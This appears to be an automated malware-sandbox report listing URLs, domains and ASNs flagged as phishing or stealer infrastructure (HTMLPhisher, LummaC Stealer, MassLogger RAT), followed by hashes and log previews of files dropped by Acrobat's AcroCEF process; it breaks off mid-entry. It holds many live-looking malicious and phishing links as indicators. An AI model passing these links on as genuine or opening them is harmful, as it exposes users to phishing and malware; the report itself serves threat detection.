	https://u43161309.ct.sendgrid.net/ls/click?upn=u001.L9-2FCbhkaoUACh7As3yZ8i4iABGphfl-2FJgS6Xiu1aw6I-3DgXpA_qO4VbBWAKg4gLfGs-2BfuSyZki3gKzG4I1DrYN15Q8fD7JV1twLeLo1AFs1GBSG3ZgA22dFJdXJloKc56aXDeV3olJKTBJd8NprednZ2LeXdX-2BkcSQE-2F2FRwgBng5RbUCLfjS8-2FI3mrpwyYu9lRatIB62qUwPSax-2Fhh2c7R-2B7pT3Kos0wK0SEJGj4ZMkgOGYhEniKYT7Kn7jN25xFz2sFdtPlVQkIdCFKwDNWmq-2BrAxerZE2GuKgfkuf3l1UY4J42sOOltybAAVyLhV-2BXfmbuQpN4NpshXRIuhta8ho3ChcTA5NtgjludQThyLtwhGns-2ByLqSbpO1Bhhc-2FCgdgP-2BAOxYrGHvKHjVYRr6-2BiryADxfM-3D	Get hash	malicious	HTMLPhisher	Browse
	https://czfc104.na1.hubspotlinks.com/Ctc/RI+113/cZFc104/VVpBhY3Y-LTWW3Cvl9B8hKRPtVVm64t5qdmRWN1f4_WP7mt9FW50l5tj6lZ3lNW8SvDYK4v65T-W5VNxKh8dLcmKW1GlXcL834zD3W5w7v_71CDbKVV4Dsjr5FnQ2PVSHlbR3pc5MwW72kzKm6WrbY7W6NJh0_7GRxDMW2K2WDT2ZPr4xW3b_gtn2bnp5xW7Hn0F58SN9mqN4_D9_QrtgD8VBy-hV2j1qrbW3N54fh8gXkqCW6JcyP11p5DmRW6d2nj72MkQXgW6hgqJx7Gc_ycW5DT-Pm451FQhW4Tph0s8GNtc-W58sq8G9dpW27W5S3wzf7rNLv_Vn6h606T2B8YN4yb6VRDg_G5W36Gvt_2lnk9qW2LykX37R4KRSW1F2tHT3jrLyjW7hSkG572MN4TW75KrBz5T-zFkVLJYW27hKs9nW3h3Pmh907wxLW2Zzdnn98hQC7W2Qnk7D31ZBJjW83tNvQ2nNht5W1HJvHm95P722W55gfDx9lT1vDW1ykGr_219m_RW5ff63S7MhCcQW4_QfK_5TQdprVlF4dm2DH-ctW6mF-BW36YwwNW99r61n6mmMhVW2v1J7Q5mVXz2W53lcRT6L4fsVN8gyZcXY0MfLW2kLwLd1TYk1wW7MzDQt4QNh6nW1bMMpS84VG-SW6F_Tym5bK06Qf6rQzB604	Get hash	malicious	Unknown	Browse
	https://share.hsforms.com/1ERkb7-8BRoi6cEFhMJVsvgt08ok	Get hash	malicious	HTMLPhisher	Browse
	https://u46509964.ct.sendgrid.net/ls/click?upn=u001.16O0hg1-2FLz1kpPxGHUZbqTUnkidniSFIXbuQ0K27NKGR5E4qQP4y3-2BK2LCxUfHTmD8VAoWu9fqrv96heRY-2BDaw-3D-3DTW9l_kcz-2FW2m7wWBC5iX2nmYizXpnEWoSr8Rc5lqOd2Tm8BrX2ha7XCwhAEdfUnTDQdcFlDoClQCenTHrYqYGrvROsmQGK19xExQ3O8UU0JUBZANb3FsycXG0lXfAeU6Ge3kEKNmMydUTpk2mvytxKM8NWM4-2BCe9md9gsZjY-2FmreGd712h4QJlOUlhQy19VQuOzLTR0hg5YGbygTAwGERJ0n3IsJQDuwHOGcAqA18p5ElbhIowXEJo1-2FUNhaAkl3hll56dS6aJMfJ2Cg7jctNhsypZwMqKm18nIQwqxy0HjDjPtDlRcWFBii-2BIabVdhAMwhtvbY-2BhH45kGHgqL1VbALLhTExLjDfFJ4Mdg1hbx5shtVSm69xnT8S0os3NwgUPcP6MZcGvFpVYjCIpNJRmEhnpApXmFzR0GdBotdIKDeKv3ZVh61As-2FSNo3vfT6a-2F1G6CSiTaxzhsqh2H-2BbaxKc9CNbAVT-2BT7dLfv3mwuz99sF3ZWYAQVhK-2FC3sPsTl5X4hdzGiFwatwFf8YUFBISMNX22jwRHFRxLR66dQgVtYo7IumZ-2FOZfPJ2G3u57Las-2FXsx3SO8XE1W1y4QspPQeH1YjVMsZnAeeR8w-2FvWRwY1A7qeifyIBD1fUq-2B4bmZYMnqZ3q5oEXMCBqA-2Fhiv6OawVXsyA5vOFgFJ9F0GjgBX8N-2FlVTcBHanqEGbxSYzxEvDD4r3DBgXj6FxUKNaXGPhd18AzzCXeX88LcJxWAPd-2Fv7JiB88FpQ5kwb7TyWiLLfMzbetfGykMOctbu8W3BbDsIyadCguknOKT9sBLCEKiPAam3h8kh-2BsXXxkR2EvqCeFfErZ3PwKa1SVHAEbQojZZV7jqlLyJR8KYd7Ob5ZMYMENFHn0kgSi7eB-2FawHwHTrEhLDYX-2BOWrkMOQimBc4NTUUy5DbdiVfhlyh7bL6srP-2ByInzpsE8pygdal5s3pCDu8-2F94-2B1f3C1MQ9-2FkWFJVilN3Xiglg-3D-3D	Get hash	malicious	Unknown	Browse
	https://share.hsforms.com/1IRrYqkWKQoiBbzgMszUPYQsxda8	Get hash	malicious	Unknown	Browse
	https://share.hsforms.com/1IRrYqkWKQoiBbzgMszUPYQsxda8	Get hash	malicious	Unknown	Browse
151.101.130.137	http://mi-outlook-loggin.click/icloud2022-esp.php	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.11.3.min.js
	http://imaps-support.us/icloud2022-esp.php	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.11.3.min.js
	http://facebooksecurity.blogspot.ch/	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.7.min.js
	https://m.exactag.com/ai.aspx?tc=d9912543bc40b07205bbd26a23a8d2e6b6b4f9&url=http%253AING.shalominternationalministry.com/index.xml%23?email=amFtZXMubGVhZGJlYXRlckBsb2dpY2FsaXMuY29t	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-3.3.1.min.js
	http://site9613885.92.webydo.com/?v=1	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.7.2.min.js

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
forms.hsforms.com	https://url12.mailanyone.net/scanner?m=1tUshS-0000000041D-2l2S&d=4%7Cmail%2F90%2F1736191200%2F1tUshS-0000000041D-2l2S%7Cin12g%7C57e1b682%7C21208867%7C12850088%7C677C2DBECB224D1EED07A26760DE755E&o=%2Fphtp%3A%2Fjtssamcce.ehst.uruirrevam.ctstro%2Fe%3D%2F%3Fixprceetmeat%3Dmn%26aeileplttm%26920%3D09s1-oFmyiSNtMTnafi%25iosctgp40norajmcm.c8p%3D5o%26991dd-86e2ee-4a-9879e6-de5f1dd.%232e.%3D302vp%3D0%26%25ttsdhF23Ap%252a%25Fuii.ctr.vro2omastr%25Fi2ge2ap%25%25FelFp%25cisoie52F21d9c876-89-4e9dd8-9d-d6ea215f22e%25eeFtFde%252maadata%3Da%26kdtuK8rJIg9jKP6GiBXfDGI7Fp%25Lddn2sRxJdhuPpjWD3%25ICb37&s=3NJIrjRA01UUg3P9bWqXPHrWXdk	Get hash	malicious	Unknown	Browse	104.18.80.204
	https://share.hsforms.com/1Wcb3a5ziS0yUfGwanfFbLgsw4gs	Get hash	malicious	Unknown	Browse	104.18.80.204
	https://u43161309.ct.sendgrid.net/ls/click?upn=u001.L9-2FCbhkaoUACh7As3yZ8i4iABGphfl-2FJgS6Xiu1aw6I-3DgXpA_qO4VbBWAKg4gLfGs-2BfuSyZki3gKzG4I1DrYN15Q8fD7JV1twLeLo1AFs1GBSG3ZgA22dFJdXJloKc56aXDeV3olJKTBJd8NprednZ2LeXdX-2BkcSQE-2F2FRwgBng5RbUCLfjS8-2FI3mrpwyYu9lRatIB62qUwPSax-2Fhh2c7R-2B7pT3Kos0wK0SEJGj4ZMkgOGYhEniKYT7Kn7jN25xFz2sFdtPlVQkIdCFKwDNWmq-2BrAxerZE2GuKgfkuf3l1UY4J42sOOltybAAVyLhV-2BXfmbuQpN4NpshXRIuhta8ho3ChcTA5NtgjludQThyLtwhGns-2ByLqSbpO1Bhhc-2FCgdgP-2BAOxYrGHvKHjVYRr6-2BiryADxfM-3D	Get hash	malicious	HTMLPhisher	Browse	104.19.175.188
	https://czfc104.na1.hubspotlinks.com/Ctc/RI+113/cZFc104/VVpBhY3Y-LTWW3Cvl9B8hKRPtVVm64t5qdmRWN1f4_WP7mt9FW50l5tj6lZ3lNW8SvDYK4v65T-W5VNxKh8dLcmKW1GlXcL834zD3W5w7v_71CDbKVV4Dsjr5FnQ2PVSHlbR3pc5MwW72kzKm6WrbY7W6NJh0_7GRxDMW2K2WDT2ZPr4xW3b_gtn2bnp5xW7Hn0F58SN9mqN4_D9_QrtgD8VBy-hV2j1qrbW3N54fh8gXkqCW6JcyP11p5DmRW6d2nj72MkQXgW6hgqJx7Gc_ycW5DT-Pm451FQhW4Tph0s8GNtc-W58sq8G9dpW27W5S3wzf7rNLv_Vn6h606T2B8YN4yb6VRDg_G5W36Gvt_2lnk9qW2LykX37R4KRSW1F2tHT3jrLyjW7hSkG572MN4TW75KrBz5T-zFkVLJYW27hKs9nW3h3Pmh907wxLW2Zzdnn98hQC7W2Qnk7D31ZBJjW83tNvQ2nNht5W1HJvHm95P722W55gfDx9lT1vDW1ykGr_219m_RW5ff63S7MhCcQW4_QfK_5TQdprVlF4dm2DH-ctW6mF-BW36YwwNW99r61n6mmMhVW2v1J7Q5mVXz2W53lcRT6L4fsVN8gyZcXY0MfLW2kLwLd1TYk1wW7MzDQt4QNh6nW1bMMpS84VG-SW6F_Tym5bK06Qf6rQzB604	Get hash	malicious	Unknown	Browse	104.19.175.188
	https://share.hsforms.com/1ERkb7-8BRoi6cEFhMJVsvgt08ok	Get hash	malicious	HTMLPhisher	Browse	104.19.175.188
	https://u46509964.ct.sendgrid.net/ls/click?upn=u001.16O0hg1-2FLz1kpPxGHUZbqTUnkidniSFIXbuQ0K27NKGR5E4qQP4y3-2BK2LCxUfHTmD8VAoWu9fqrv96heRY-2BDaw-3D-3DTW9l_kcz-2FW2m7wWBC5iX2nmYizXpnEWoSr8Rc5lqOd2Tm8BrX2ha7XCwhAEdfUnTDQdcFlDoClQCenTHrYqYGrvROsmQGK19xExQ3O8UU0JUBZANb3FsycXG0lXfAeU6Ge3kEKNmMydUTpk2mvytxKM8NWM4-2BCe9md9gsZjY-2FmreGd712h4QJlOUlhQy19VQuOzLTR0hg5YGbygTAwGERJ0n3IsJQDuwHOGcAqA18p5ElbhIowXEJo1-2FUNhaAkl3hll56dS6aJMfJ2Cg7jctNhsypZwMqKm18nIQwqxy0HjDjPtDlRcWFBii-2BIabVdhAMwhtvbY-2BhH45kGHgqL1VbALLhTExLjDfFJ4Mdg1hbx5shtVSm69xnT8S0os3NwgUPcP6MZcGvFpVYjCIpNJRmEhnpApXmFzR0GdBotdIKDeKv3ZVh61As-2FSNo3vfT6a-2F1G6CSiTaxzhsqh2H-2BbaxKc9CNbAVT-2BT7dLfv3mwuz99sF3ZWYAQVhK-2FC3sPsTl5X4hdzGiFwatwFf8YUFBISMNX22jwRHFRxLR66dQgVtYo7IumZ-2FOZfPJ2G3u57Las-2FXsx3SO8XE1W1y4QspPQeH1YjVMsZnAeeR8w-2FvWRwY1A7qeifyIBD1fUq-2B4bmZYMnqZ3q5oEXMCBqA-2Fhiv6OawVXsyA5vOFgFJ9F0GjgBX8N-2FlVTcBHanqEGbxSYzxEvDD4r3DBgXj6FxUKNaXGPhd18AzzCXeX88LcJxWAPd-2Fv7JiB88FpQ5kwb7TyWiLLfMzbetfGykMOctbu8W3BbDsIyadCguknOKT9sBLCEKiPAam3h8kh-2BsXXxkR2EvqCeFfErZ3PwKa1SVHAEbQojZZV7jqlLyJR8KYd7Ob5ZMYMENFHn0kgSi7eB-2FawHwHTrEhLDYX-2BOWrkMOQimBc4NTUUy5DbdiVfhlyh7bL6srP-2ByInzpsE8pygdal5s3pCDu8-2F94-2B1f3C1MQ9-2FkWFJVilN3Xiglg-3D-3D	Get hash	malicious	Unknown	Browse	104.18.80.204
	https://share.hsforms.com/1IRrYqkWKQoiBbzgMszUPYQsxda8	Get hash	malicious	Unknown	Browse	104.18.80.204
	https://share.hsforms.com/1IRrYqkWKQoiBbzgMszUPYQsxda8	Get hash	malicious	Unknown	Browse	104.18.80.204
	https://www.grapevine.org/join/next-gen-giving-circle-dc	Get hash	malicious	Unknown	Browse	104.18.80.204
	https://share.hsforms.com/1vdAHNnZFTymOZDp9yYmMSwsx4ph	Get hash	malicious	Unknown	Browse	104.19.175.188
static.hsappstatic.net	https://laserglow-technologies-industrial-48815730.hubspotpagebuilder.com/laserglow	Get hash	malicious	HTMLPhisher	Browse	104.17.174.91
	https://share.hsforms.com/1Wcb3a5ziS0yUfGwanfFbLgsw4gs	Get hash	malicious	Unknown	Browse	104.17.172.91
	https://czfc104.na1.hubspotlinks.com/Ctc/RI+113/cZFc104/VVpBhY3Y-LTWW3Cvl9B8hKRPtVVm64t5qdmRWN1f4_WP7mt9FW50l5tj6lZ3lNW8SvDYK4v65T-W5VNxKh8dLcmKW1GlXcL834zD3W5w7v_71CDbKVV4Dsjr5FnQ2PVSHlbR3pc5MwW72kzKm6WrbY7W6NJh0_7GRxDMW2K2WDT2ZPr4xW3b_gtn2bnp5xW7Hn0F58SN9mqN4_D9_QrtgD8VBy-hV2j1qrbW3N54fh8gXkqCW6JcyP11p5DmRW6d2nj72MkQXgW6hgqJx7Gc_ycW5DT-Pm451FQhW4Tph0s8GNtc-W58sq8G9dpW27W5S3wzf7rNLv_Vn6h606T2B8YN4yb6VRDg_G5W36Gvt_2lnk9qW2LykX37R4KRSW1F2tHT3jrLyjW7hSkG572MN4TW75KrBz5T-zFkVLJYW27hKs9nW3h3Pmh907wxLW2Zzdnn98hQC7W2Qnk7D31ZBJjW83tNvQ2nNht5W1HJvHm95P722W55gfDx9lT1vDW1ykGr_219m_RW5ff63S7MhCcQW4_QfK_5TQdprVlF4dm2DH-ctW6mF-BW36YwwNW99r61n6mmMhVW2v1J7Q5mVXz2W53lcRT6L4fsVN8gyZcXY0MfLW2kLwLd1TYk1wW7MzDQt4QNh6nW1bMMpS84VG-SW6F_Tym5bK06Qf6rQzB604	Get hash	malicious	Unknown	Browse	104.17.175.91
	https://share.hsforms.com/1ERkb7-8BRoi6cEFhMJVsvgt08ok	Get hash	malicious	HTMLPhisher	Browse	104.17.172.91
	https://u46509964.ct.sendgrid.net/ls/click?upn=u001.16O0hg1-2FLz1kpPxGHUZbqTUnkidniSFIXbuQ0K27NKGR5E4qQP4y3-2BK2LCxUfHTmD8VAoWu9fqrv96heRY-2BDaw-3D-3DTW9l_kcz-2FW2m7wWBC5iX2nmYizXpnEWoSr8Rc5lqOd2Tm8BrX2ha7XCwhAEdfUnTDQdcFlDoClQCenTHrYqYGrvROsmQGK19xExQ3O8UU0JUBZANb3FsycXG0lXfAeU6Ge3kEKNmMydUTpk2mvytxKM8NWM4-2BCe9md9gsZjY-2FmreGd712h4QJlOUlhQy19VQuOzLTR0hg5YGbygTAwGERJ0n3IsJQDuwHOGcAqA18p5ElbhIowXEJo1-2FUNhaAkl3hll56dS6aJMfJ2Cg7jctNhsypZwMqKm18nIQwqxy0HjDjPtDlRcWFBii-2BIabVdhAMwhtvbY-2BhH45kGHgqL1VbALLhTExLjDfFJ4Mdg1hbx5shtVSm69xnT8S0os3NwgUPcP6MZcGvFpVYjCIpNJRmEhnpApXmFzR0GdBotdIKDeKv3ZVh61As-2FSNo3vfT6a-2F1G6CSiTaxzhsqh2H-2BbaxKc9CNbAVT-2BT7dLfv3mwuz99sF3ZWYAQVhK-2FC3sPsTl5X4hdzGiFwatwFf8YUFBISMNX22jwRHFRxLR66dQgVtYo7IumZ-2FOZfPJ2G3u57Las-2FXsx3SO8XE1W1y4QspPQeH1YjVMsZnAeeR8w-2FvWRwY1A7qeifyIBD1fUq-2B4bmZYMnqZ3q5oEXMCBqA-2Fhiv6OawVXsyA5vOFgFJ9F0GjgBX8N-2FlVTcBHanqEGbxSYzxEvDD4r3DBgXj6FxUKNaXGPhd18AzzCXeX88LcJxWAPd-2Fv7JiB88FpQ5kwb7TyWiLLfMzbetfGykMOctbu8W3BbDsIyadCguknOKT9sBLCEKiPAam3h8kh-2BsXXxkR2EvqCeFfErZ3PwKa1SVHAEbQojZZV7jqlLyJR8KYd7Ob5ZMYMENFHn0kgSi7eB-2FawHwHTrEhLDYX-2BOWrkMOQimBc4NTUUy5DbdiVfhlyh7bL6srP-2ByInzpsE8pygdal5s3pCDu8-2F94-2B1f3C1MQ9-2FkWFJVilN3Xiglg-3D-3D	Get hash	malicious	Unknown	Browse	104.17.172.91
	https://share.hsforms.com/1IRrYqkWKQoiBbzgMszUPYQsxda8	Get hash	malicious	Unknown	Browse	104.17.172.91
	https://share.hsforms.com/1IRrYqkWKQoiBbzgMszUPYQsxda8	Get hash	malicious	Unknown	Browse	104.17.172.91
	https://share.hsforms.com/1vdAHNnZFTymOZDp9yYmMSwsx4ph	Get hash	malicious	Unknown	Browse	104.17.172.91
	FINAL000035745873695487KHFKA.pdf	Get hash	malicious	HTMLPhisher	Browse	104.17.172.91
	https://share.hsforms.com/1Izw71u6TTr2VFC-t9f1KFgsvgdj	Get hash	malicious	Unknown	Browse	104.17.175.91
js.hs-banner.com	https://www.tremendous.com/email/activate/yE_yBdRtyVv4Xqgg7hu_	Get hash	malicious	Unknown	Browse	172.64.147.16
	https://laserglow-technologies-industrial-48815730.hubspotpagebuilder.com/laserglow	Get hash	malicious	HTMLPhisher	Browse	172.64.147.16
	https://link.edgepilot.com/s/692fcd16/rcPy0yXyykq_mRLKroUvRQ?u=https://petroleumalliance.us8.list-manage.com/track/click?u=325f73d29a0b4f85a46b700a9%26id=dfe369da82%26e=94c2db4428	Get hash	malicious	Unknown	Browse	104.18.40.240
	https://share.hsforms.com/1Wcb3a5ziS0yUfGwanfFbLgsw4gs	Get hash	malicious	Unknown	Browse	104.18.40.240
	https://u43161309.ct.sendgrid.net/ls/click?upn=u001.L9-2FCbhkaoUACh7As3yZ8i4iABGphfl-2FJgS6Xiu1aw6I-3DgXpA_qO4VbBWAKg4gLfGs-2BfuSyZki3gKzG4I1DrYN15Q8fD7JV1twLeLo1AFs1GBSG3ZgA22dFJdXJloKc56aXDeV3olJKTBJd8NprednZ2LeXdX-2BkcSQE-2F2FRwgBng5RbUCLfjS8-2FI3mrpwyYu9lRatIB62qUwPSax-2Fhh2c7R-2B7pT3Kos0wK0SEJGj4ZMkgOGYhEniKYT7Kn7jN25xFz2sFdtPlVQkIdCFKwDNWmq-2BrAxerZE2GuKgfkuf3l1UY4J42sOOltybAAVyLhV-2BXfmbuQpN4NpshXRIuhta8ho3ChcTA5NtgjludQThyLtwhGns-2ByLqSbpO1Bhhc-2FCgdgP-2BAOxYrGHvKHjVYRr6-2BiryADxfM-3D	Get hash	malicious	HTMLPhisher	Browse	172.64.147.16
	Remittance details.docx	Get hash	malicious	Unknown	Browse	172.64.147.16
	Remittance details.docx	Get hash	malicious	Unknown	Browse	104.18.40.240
	https://czfc104.na1.hubspotlinks.com/Ctc/RI+113/cZFc104/VVpBhY3Y-LTWW3Cvl9B8hKRPtVVm64t5qdmRWN1f4_WP7mt9FW50l5tj6lZ3lNW8SvDYK4v65T-W5VNxKh8dLcmKW1GlXcL834zD3W5w7v_71CDbKVV4Dsjr5FnQ2PVSHlbR3pc5MwW72kzKm6WrbY7W6NJh0_7GRxDMW2K2WDT2ZPr4xW3b_gtn2bnp5xW7Hn0F58SN9mqN4_D9_QrtgD8VBy-hV2j1qrbW3N54fh8gXkqCW6JcyP11p5DmRW6d2nj72MkQXgW6hgqJx7Gc_ycW5DT-Pm451FQhW4Tph0s8GNtc-W58sq8G9dpW27W5S3wzf7rNLv_Vn6h606T2B8YN4yb6VRDg_G5W36Gvt_2lnk9qW2LykX37R4KRSW1F2tHT3jrLyjW7hSkG572MN4TW75KrBz5T-zFkVLJYW27hKs9nW3h3Pmh907wxLW2Zzdnn98hQC7W2Qnk7D31ZBJjW83tNvQ2nNht5W1HJvHm95P722W55gfDx9lT1vDW1ykGr_219m_RW5ff63S7MhCcQW4_QfK_5TQdprVlF4dm2DH-ctW6mF-BW36YwwNW99r61n6mmMhVW2v1J7Q5mVXz2W53lcRT6L4fsVN8gyZcXY0MfLW2kLwLd1TYk1wW7MzDQt4QNh6nW1bMMpS84VG-SW6F_Tym5bK06Qf6rQzB604	Get hash	malicious	Unknown	Browse	104.18.40.240
	https://share.hsforms.com/1ERkb7-8BRoi6cEFhMJVsvgt08ok	Get hash	malicious	HTMLPhisher	Browse	172.64.147.16
	https://u46509964.ct.sendgrid.net/ls/click?upn=u001.16O0hg1-2FLz1kpPxGHUZbqTUnkidniSFIXbuQ0K27NKGR5E4qQP4y3-2BK2LCxUfHTmD8VAoWu9fqrv96heRY-2BDaw-3D-3DTW9l_kcz-2FW2m7wWBC5iX2nmYizXpnEWoSr8Rc5lqOd2Tm8BrX2ha7XCwhAEdfUnTDQdcFlDoClQCenTHrYqYGrvROsmQGK19xExQ3O8UU0JUBZANb3FsycXG0lXfAeU6Ge3kEKNmMydUTpk2mvytxKM8NWM4-2BCe9md9gsZjY-2FmreGd712h4QJlOUlhQy19VQuOzLTR0hg5YGbygTAwGERJ0n3IsJQDuwHOGcAqA18p5ElbhIowXEJo1-2FUNhaAkl3hll56dS6aJMfJ2Cg7jctNhsypZwMqKm18nIQwqxy0HjDjPtDlRcWFBii-2BIabVdhAMwhtvbY-2BhH45kGHgqL1VbALLhTExLjDfFJ4Mdg1hbx5shtVSm69xnT8S0os3NwgUPcP6MZcGvFpVYjCIpNJRmEhnpApXmFzR0GdBotdIKDeKv3ZVh61As-2FSNo3vfT6a-2F1G6CSiTaxzhsqh2H-2BbaxKc9CNbAVT-2BT7dLfv3mwuz99sF3ZWYAQVhK-2FC3sPsTl5X4hdzGiFwatwFf8YUFBISMNX22jwRHFRxLR66dQgVtYo7IumZ-2FOZfPJ2G3u57Las-2FXsx3SO8XE1W1y4QspPQeH1YjVMsZnAeeR8w-2FvWRwY1A7qeifyIBD1fUq-2B4bmZYMnqZ3q5oEXMCBqA-2Fhiv6OawVXsyA5vOFgFJ9F0GjgBX8N-2FlVTcBHanqEGbxSYzxEvDD4r3DBgXj6FxUKNaXGPhd18AzzCXeX88LcJxWAPd-2Fv7JiB88FpQ5kwb7TyWiLLfMzbetfGykMOctbu8W3BbDsIyadCguknOKT9sBLCEKiPAam3h8kh-2BsXXxkR2EvqCeFfErZ3PwKa1SVHAEbQojZZV7jqlLyJR8KYd7Ob5ZMYMENFHn0kgSi7eB-2FawHwHTrEhLDYX-2BOWrkMOQimBc4NTUUy5DbdiVfhlyh7bL6srP-2ByInzpsE8pygdal5s3pCDu8-2F94-2B1f3C1MQ9-2FkWFJVilN3Xiglg-3D-3D	Get hash	malicious	Unknown	Browse	172.64.147.16
48528028.fs1.hubspotusercontent-na1.net	https://share.hsforms.com/1Wcb3a5ziS0yUfGwanfFbLgsw4gs	Get hash	malicious	Unknown	Browse	104.18.41.124

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	FeedStation.exe	Get hash	malicious	LummaC	Browse	104.21.112.1
	DodSussex.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.80.1
	DangerousMidlands.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.112.1
	Quarantined Messages(3).zip	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://pub-290e9228bc824ffb99ba933687a27ad7.r2.dev/repo.html	Get hash	malicious	HTMLPhisher	Browse	172.67.72.210
	IMG_10503677.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.64.1
	fghj.exe	Get hash	malicious	LummaC	Browse	104.21.96.1
	CondosGold_nopump.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.48.1
	filename.exe	Get hash	malicious	LummaC	Browse	104.21.48.1
	expt64.exe	Get hash	malicious	LummaC	Browse	104.21.64.1
FASTLYUS	Quarantined Messages(3).zip	Get hash	malicious	HTMLPhisher	Browse	151.101.194.137
	https://pub-290e9228bc824ffb99ba933687a27ad7.r2.dev/repo.html	Get hash	malicious	HTMLPhisher	Browse	151.101.194.137
	https://we.tl/t-fnebgmrnYQ	Get hash	malicious	Unknown	Browse	151.101.1.229
	https://github.com/netwrix/pingcastle/releases/download/3.3.0.1/PingCastle_3.3.0.1.zip	Get hash	malicious	Unknown	Browse	185.199.111.133
	http://www.efnhdh.blogspot.mk/	Get hash	malicious	GRQ Scam	Browse	151.101.66.208
	http://pdfdrive.com.co	Get hash	malicious	Unknown	Browse	151.101.130.137
	http://www.singhs.lv	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	151.101.2.137
	https://www.dcamarketintelligence.com/tdt	Get hash	malicious	Unknown	Browse	151.101.194.132
	https://www.cineuserdad.ec	Get hash	malicious	Unknown	Browse	151.101.1.229
	https://form.fillout.com/t/emEtLm993dus	Get hash	malicious	Unknown	Browse	185.199.108.153
CLOUDFLARENETUS	FeedStation.exe	Get hash	malicious	LummaC	Browse	104.21.112.1
	DodSussex.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.80.1
	DangerousMidlands.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.112.1
	Quarantined Messages(3).zip	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://pub-290e9228bc824ffb99ba933687a27ad7.r2.dev/repo.html	Get hash	malicious	HTMLPhisher	Browse	172.67.72.210
	IMG_10503677.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.64.1
	fghj.exe	Get hash	malicious	LummaC	Browse	104.21.96.1
	CondosGold_nopump.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.48.1
	filename.exe	Get hash	malicious	LummaC	Browse	104.21.48.1
	expt64.exe	Get hash	malicious	LummaC	Browse	104.21.64.1
CLOUDFLARENETUS	FeedStation.exe	Get hash	malicious	LummaC	Browse	104.21.112.1
	DodSussex.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.80.1
	DangerousMidlands.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.112.1
	Quarantined Messages(3).zip	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://pub-290e9228bc824ffb99ba933687a27ad7.r2.dev/repo.html	Get hash	malicious	HTMLPhisher	Browse	172.67.72.210
	IMG_10503677.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.64.1
	fghj.exe	Get hash	malicious	LummaC	Browse	104.21.96.1
	CondosGold_nopump.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.48.1
	filename.exe	Get hash	malicious	LummaC	Browse	104.21.48.1
	expt64.exe	Get hash	malicious	LummaC	Browse	104.21.64.1

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.1460162742598055
Encrypted:	false
SSDEEP:	6:iO4oTjufq2P92nKuAl9OmbnIFUtSoTtPZZmwsoTtPzkwO92nKuAl9OmbjLJ:7vTKfv4HAahFUtRTtB/7Ttb5LHAaSJ
MD5:	CBD9080A378E3948610282F5E4EE8494
SHA1:	042BF153ED2BB27F36FCC45DFB5EFDBFB67F892A
SHA-256:	841FCCF79FEB0C2730EC1452C5B3C8ECC9834AE74F3CC165BE000E6006E5CDF4
SHA-512:	F57255836EF0C44770F066B24438286BB80817D74576B37FF41088E409FEC2698E12AF44DF73B0198AF877812C152FD1C85B1AD870A7D1D37973302433E8C9BB
Malicious:	false
Reputation:	low
Preview:	2025/01/10-06:04:06.567 1c04 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-06:04:06.569 1c04 Recovering log #3.2025/01/10-06:04:06.569 1c04 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.1460162742598055
Encrypted:	false
SSDEEP:	6:iO4oTjufq2P92nKuAl9OmbnIFUtSoTtPZZmwsoTtPzkwO92nKuAl9OmbjLJ:7vTKfv4HAahFUtRTtB/7Ttb5LHAaSJ
MD5:	CBD9080A378E3948610282F5E4EE8494
SHA1:	042BF153ED2BB27F36FCC45DFB5EFDBFB67F892A
SHA-256:	841FCCF79FEB0C2730EC1452C5B3C8ECC9834AE74F3CC165BE000E6006E5CDF4
SHA-512:	F57255836EF0C44770F066B24438286BB80817D74576B37FF41088E409FEC2698E12AF44DF73B0198AF877812C152FD1C85B1AD870A7D1D37973302433E8C9BB
Malicious:	false
Reputation:	low
Preview:	2025/01/10-06:04:06.567 1c04 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-06:04:06.569 1c04 Recovering log #3.2025/01/10-06:04:06.569 1c04 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.133199365363706
Encrypted:	false
SSDEEP:	6:iO4oTsFUGDQ+q2P92nKuAl9Ombzo2jMGIFUtSoTuFppgZmwsoT/QVkwO92nKuAlx:7vTsFk+v4HAa8uFUtRT+m/7TIV5LHAaU
MD5:	A5ADB2AE29BCCB2AE5D2A87C684700C6
SHA1:	6BDED879D7A39EE8D65958831F5F8B95FF517D04
